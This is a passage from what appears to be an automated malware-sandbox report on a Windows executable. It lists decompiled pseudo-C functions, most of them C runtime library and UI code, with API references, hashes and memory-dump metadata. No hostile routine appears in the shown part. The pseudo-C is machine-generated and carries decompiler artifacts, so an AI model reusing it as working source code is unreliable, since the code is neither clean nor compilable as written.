						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x00b22372
0x00b22407
0x00b2237a
0x00b2237c
0x00b22386
0x00b2238b
0x00b22398
0x00b223ad
0x00b223b1
0x00b22417
0x00b2241c
0x00b22423
0x00b22427
0x00b2242a
0x00b2242a
0x00b22430
0x00b22430
0x00b22412
0x00b22416
0x00b22416
0x00b223b3
0x00b223bc
0x00b223f5
0x00b22402
0x00b22404
0x00b22404
0x00000000
0x00b22404
0x00b223c6
0x00b223cb
0x00b223d0
0x00000000
0x00000000
0x00b223da
0x00b223df
0x00b223e4
0x00000000
0x00000000
0x00b223e9
0x00b223ef
0x00b223f3
0x00000000
0x00000000
0x00000000
0x00b223f3
0x00b22390
0x00000000
0x00000000
0x00000000
0x00b22396
0x00b22410
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,245FDE3E,?,00B22476,?,00B20F65,00000000,00000000), ref: 00B2242A

Strings

api-ms-, xrefs: 00B223C0
ext-ms-, xrefs: 00B223D4

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f978f5cbcb92852db7598db3b7d92a9f0b921f472228522d1491cedf6b1a9d2b
Instruction ID: 20bca3a75f9962b89177713fba457fb323e98317d7a75726abf922dda2aabd14
Opcode Fuzzy Hash: f978f5cbcb92852db7598db3b7d92a9f0b921f472228522d1491cedf6b1a9d2b
Instruction Fuzzy Hash: FE21D832A00131BBCB21A764BC45A5E37A8EB42760F3541A1ED1AE7390EF74ED01C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 00B21C7C Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00B21C7C(void* __ecx) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0xb34064 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00B25FC6(_t13,  *0xb34064);
					_t14 = _t23;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							if(E00B26001(_t14,  *0xb34064, 0xffffffff) != 0) {
								_push(0x28);
								_t27 = E00B20F42();
								_t18 = 1;
								if(_t27 == 0) {
									L8:
									_t11 = 0;
									E00B26001(_t18,  *0xb34064, 0);
								} else {
									_t8 = E00B26001(_t18,  *0xb34064, _t27);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t27;
										_t27 = 0;
									} else {
										goto L8;
									}
								}
								E00B20F4D(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x00b21c7c
0x00b21c83
0x00b21c96
0x00b21c9d
0x00b21c9f
0x00b21ca3
0x00b21cbc
0x00b21cbc
0x00b21ca5
0x00b21ca7
0x00b21cba
0x00b21cc1
0x00b21cca
0x00b21ccd
0x00b21cd0
0x00b21ce4
0x00b21ce4
0x00b21ced
0x00b21cd2
0x00b21cd9
0x00b21cdf
0x00b21ce2
0x00b21cf6
0x00b21cf8
0x00000000
0x00000000
0x00000000
0x00b21ce2
0x00b21cfb
0x00000000
0x00000000
0x00000000
0x00b21cba
0x00b21ca7
0x00b21d03
0x00b21d0d
0x00b21c85
0x00b21c87
0x00b21c87

APIs

GetLastError.KERNEL32(?,?,00B21C73,00B1DD33,00B1D88B), ref: 00B21C8A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B21C98
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B21CB1
SetLastError.KERNEL32(00000000,00B21C73,00B1DD33,00B1D88B), ref: 00B21D03

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e49d0e7973e5607cd1194d9360cff1521c19e60c32be052a62b16fd7662e7219
Instruction ID: e0e8a58acea770c7fdbef8a28e7343c197f1af0ff589fc35bad83ac9b213bd27
Opcode Fuzzy Hash: e49d0e7973e5607cd1194d9360cff1521c19e60c32be052a62b16fd7662e7219
Instruction Fuzzy Hash: 6E0184362493316EE62827BC7DC6A6B27D8DB6177573006BAF6198A0E1EF115C416244

Uniqueness

Uniqueness Score: -1.00%

Function 00B1B420 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00B1B453
DestroyCaret.USER32 ref: 00B1B466
DeleteObject.GDI32 ref: 00B1B48E
CreateBitmap.GDI32 ref: 00B1B63B

Strings

d, xrefs: 00B1B4B7

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: BitmapCaretCreateDeleteDestroyFocusObject
String ID: d
API String ID: 3626877506-2564639436
Opcode ID: 6672da8c189a090c74ca2a8eeacfc38e68ae567af5aa9056ac078de7af9e0132
Instruction ID: e577c7c42e4a704d256124a40bc25d0c300ed9812047f15fda90afdbd29bd023
Opcode Fuzzy Hash: 6672da8c189a090c74ca2a8eeacfc38e68ae567af5aa9056ac078de7af9e0132
Instruction Fuzzy Hash: A571C074A002199FCB04CF58C098EADBBF1FF58315F1584A9E889EB362D735E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B13370 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

GetDpiForSystem.USER32 ref: 00B133DC
MulDiv.KERNEL32 ref: 00B133F5
GetDpiForSystem.USER32 ref: 00B13406
MulDiv.KERNEL32 ref: 00B1341F

Strings

`, xrefs: 00B13417

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: System
String ID: `
API String ID: 3470857405-2679148245
Opcode ID: 442bc46606c4a8f38fa5dd5347cf70bcb63a8faeb28042979c5bc695e3cdaf26
Instruction ID: b5136b2aa468f68832f29c024c94ac28a8f3000f7144733e7aefb40ba4b259d6
Opcode Fuzzy Hash: 442bc46606c4a8f38fa5dd5347cf70bcb63a8faeb28042979c5bc695e3cdaf26
Instruction Fuzzy Hash: 4B412EB8104209AFD740EF58D598B9ABBE4FB48314F11C45AEC688B362D7BAD948DF41

Uniqueness

Uniqueness Score: -1.00%

Function 00B2001C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E00B2001C(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0xb34050; // 0x245fde3e
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0xb2af36, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0xb37000(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x00b20031
0x00b2003c
0x00b20042
0x00b20046
0x00b20051
0x00b20059
0x00b20063
0x00b20069
0x00b2006d
0x00b20074
0x00b2007a
0x00b2007a
0x00b2006d
0x00b20080
0x00b20085
0x00b20085
0x00b2008e
0x00b20098

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,245FDE3E,?,?,00000000,00B2AF36,000000FF,?,00B200E6,00B1FF81,?,00B20182,00000000), ref: 00B20051
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B20063
FreeLibrary.KERNEL32(00000000,?,?,00000000,00B2AF36,000000FF,?,00B200E6,00B1FF81,?,00B20182,00000000), ref: 00B20085

Strings

mscoree.dll, xrefs: 00B2004A
CorExitProcess, xrefs: 00B2005B

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ab66313bc57a6a9d5e748b7cffa3a4f72acfa2e7e6504bd9bd9eec66f18c0bb8
Instruction ID: 359d674de898b580c6d44c77fc354e8855b40164182eff533ca52c60af51ee95
Opcode Fuzzy Hash: ab66313bc57a6a9d5e748b7cffa3a4f72acfa2e7e6504bd9bd9eec66f18c0bb8
Instruction Fuzzy Hash: D8018F71954629ABDB219B54DC09FAFBBF8FB04B11F100679E811A22A0DB789900CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A450 Relevance: 7.5, APIs: 5, Instructions: 47windowclipboardCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32 ref: 00B1A48A
IsClipboardFormatAvailable.USER32 ref: 00B1A49A
EnableMenuItem.USER32 ref: 00B1A4C7
EnableMenuItem.USER32 ref: 00B1A4E6
EnableMenuItem.USER32 ref: 00B1A505

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: EnableItemMenu$AvailableClipboardFormat
String ID:
API String ID: 4217543366-0
Opcode ID: c61c3357539816e2a406996ca59341153eb6c1d00330968bb0ece31a6cabab77
Instruction ID: 4a844c2d417d2b25ff133560e3f31fd65101c68232be0a23b611669948dfd870
Opcode Fuzzy Hash: c61c3357539816e2a406996ca59341153eb6c1d00330968bb0ece31a6cabab77
Instruction Fuzzy Hash: 6911F874604214AFD704EF68D58979EBBE4EB84701F10C82DEC898B354DB75D8488B42

Uniqueness

Uniqueness Score: -1.00%

Function 00B27EA7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E00B27EA7(void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v80;
				void* __ebx;
				void* __ebp;
				void* _t57;
				void* _t58;
				char _t59;
				intOrPtr* _t64;
				void* _t65;
				intOrPtr* _t70;
				void* _t73;
				signed char* _t76;
				intOrPtr* _t79;
				void* _t81;
				signed int _t85;
				signed int _t86;
				signed char _t91;
				signed int _t94;
				void* _t102;
				void* _t107;
				void* _t113;
				void* _t115;

				_t102 = __esi;
				_t93 = __edx;
				_t81 = __ecx;
				_t79 = _a4;
				if( *_t79 == 0x80000003) {
					return _t57;
				} else {
					_push(__esi);
					_push(__edi);
					_t58 = E00B21C6E(_t79, __ecx, __edx, __edi, __esi);
					if( *((intOrPtr*)(_t58 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t102 = _t58;
						if( *((intOrPtr*)(E00B21C6E(_t79, __ecx, __edx, 0, _t102) + 8)) != _t102 &&  *_t79 != 0xe0434f4d &&  *_t79 != 0xe0434352) {
							_t70 = E00B2430E(__edx, 0, _t102, _t79, _a8, _a12, _a16, _a20, _a28, _a32);
							_t113 = _t113 + 0x1c;
							if(_t70 != 0) {
								L16:
								return _t70;
							}
						}
					}
					_t59 = _a20;
					_v24 = _t59;
					_v20 = 0;
					if( *((intOrPtr*)(_t59 + 0xc)) > 0) {
						E00B241BE(_t81,  &_v40,  &_v24, _a24, _a16, _t59, _a28);
						_t94 = _v36;
						_t115 = _t113 + 0x18;
						_t70 = _v40;
						_v16 = _t70;
						_v8 = _t94;
						if(_t94 < _v28) {
							_t85 = _t94 * 0x14;
							_v12 = _t85;
							do {
								_t86 = 5;
								_t73 = memcpy( &_v60,  *((intOrPtr*)( *_t70 + 0x10)) + _t85, _t86 << 2);
								_t115 = _t115 + 0xc;
								if(_v60 <= _t73 && _t73 <= _v56) {
									_t76 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t91 = _t76[4];
									if(_t91 == 0 ||  *((char*)(_t91 + 8)) == 0) {
										if(( *_t76 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00B27E27(_t94, _t79, _a8, _a12, _a16, _a20, _t76, 0,  &_v60, _a28, _a32);
											_t94 = _v8;
											_t115 = _t115 + 0x30;
										}
									}
								}
								_t94 = _t94 + 1;
								_t70 = _v16;
								_t85 = _v12 + 0x14;
								_v8 = _t94;
								_v12 = _t85;
							} while (_t94 < _v28);
						}
						goto L16;
					}
					E00B21BDC(_t79, _t81, _t93, 0, _t102);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_v80 = _v64 + 0xc;
					_t64 = E00B26200(_v68, _v60);
					_t65 =  *_t64(0, _t102, _t113, _t81, _t79, _t107);
					_pop(_t110);
					_t83 = _v60;
					if(_v60 == 0x100) {
						_t83 = 2;
					}
					return E00B26200(_t65, _t83);
				}
			}

0x00b27ea7
0x00b27ea7
0x00b27ea7
0x00b27eae
0x00b27eb7
0x00b27fd6
0x00b27ebd
0x00b27ebd
0x00b27ebe
0x00b27ebf
0x00b27ec9
0x00b27ecc
0x00b27ed2
0x00b27edc
0x00b27f01
0x00b27f06
0x00b27f0b
0x00b27fd2
0x00000000
0x00b27fd3
0x00b27f0b
0x00b27edc
0x00b27f11
0x00b27f14
0x00b27f17
0x00b27f1d
0x00b27f35
0x00b27f3a
0x00b27f3d
0x00b27f40
0x00b27f43
0x00b27f46
0x00b27f4c
0x00b27f52
0x00b27f55
0x00b27f58
0x00b27f67
0x00b27f68
0x00b27f68
0x00b27f6d
0x00b27f80
0x00b27f82
0x00b27f87
0x00b27f92
0x00b27f94
0x00b27f96
0x00b27fb2
0x00b27fb7
0x00b27fba
0x00b27fba
0x00b27f92
0x00b27f87
0x00b27fc0
0x00b27fc1
0x00b27fc4
0x00b27fc7
0x00b27fca
0x00b27fcd
0x00b27f58
0x00000000
0x00b27f4c
0x00b27fd7
0x00b27fdc
0x00b27fdd
0x00b27fde
0x00b27fdf
0x00b27fee
0x00b27ffe
0x00b28005
0x00b2800b
0x00b2800c
0x00b28018
0x00b2801a
0x00b2801a
0x00b28029
0x00b28029

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00B27DAD,?,?,00000000,00000000,00000000,?), ref: 00B27ECC
CatchIt.LIBVCRUNTIME ref: 00B27FB2

Strings

MOC, xrefs: 00B27EDE
RCC, xrefs: 00B27EE6

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 30f8db3a817e9b2e16fe87bdbe8ce176b3ecb5ea3df40d020c2c41ca4cf4a67e
Instruction ID: bd4dede3a8b957a8156d572288f01ba81ba09b77f97679863e6f080e84c8ed1d
Opcode Fuzzy Hash: 30f8db3a817e9b2e16fe87bdbe8ce176b3ecb5ea3df40d020c2c41ca4cf4a67e
Instruction Fuzzy Hash: C641AB72908299AFCF15CF98ED81AEEBBF5FF08304F144099F9086B211D7359950CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00B131B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41timewindowCOMMON

Download Yara Rule

APIs

SetTimer.USER32 ref: 00B1322B
PostMessageW.USER32 ref: 00B1325F

Strings

2, xrefs: 00B131BC
2, xrefs: 00B1321B

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: MessagePostTimer
String ID: 2$2
API String ID: 2370412193-3784399050
Opcode ID: de5cfe9618c366143b12fb912eed1631ec9631a71645c47d229303d1474c6411
Instruction ID: e77d7ef33314afc2fd51389d51cb3465ee29213223e31bbf595b1b8aef16f1c1
Opcode Fuzzy Hash: de5cfe9618c366143b12fb912eed1631ec9631a71645c47d229303d1474c6411
Instruction Fuzzy Hash: 641193B4108204EFD700EF5CC188BA97BE0FB04754F85C4A9E88D8B2A1D7B5DA88CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00B26086 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B26086(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E00B24A59(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x00b26093
0x00b2609b
0x00b260d0
0x00b2609d
0x00b260a6
0x00000000
0x00b260cd
0x00b260cc
0x00b260cc

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00B26122,?,?,00000000,?,?,?,00B25F6A,00000000,FlsAlloc,00B2D668,00B2D670), ref: 00B26093
GetLastError.KERNEL32(?,00B26122,?,?,00000000,?,?,?,00B25F6A,00000000,FlsAlloc,00B2D668,00B2D670,?,?,00B21C2A), ref: 00B2609D
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00B21C2A,00B21D0E,00000003,00B2148B,?,?,?,?,00000000,00000000,00000000), ref: 00B260C5

Strings

api-ms-, xrefs: 00B260AA

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 194327323c770686447c94d16317f8330cedfb59b1bc4f5bb238d7fc7e70578c
Instruction ID: 87b37d3a0b8c2b5a66d5d69d40c9327d6a4faacce61c0f0fe377c59020b02b9d
Opcode Fuzzy Hash: 194327323c770686447c94d16317f8330cedfb59b1bc4f5bb238d7fc7e70578c
Instruction Fuzzy Hash: CDE04F30680208B7EB202F65FC46F5D3BACFB01B40F208571F90DA90E1EFA1D8149944

Uniqueness

Uniqueness Score: -1.00%

Function 00B269C1 Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00B269C1(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(0xb2af8d);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0xb34050; // 0x245fde3e
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0xb362e0 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E00B21490(_t265, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0xb362e0 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0xb362e0 + _v84 * 4) + _t300 + 0x2d) =  *( *(0xb362e0 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E00B28745(_t273,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E00B28745(_t273);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0xb347b0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0xb362e0 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E00B28980( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
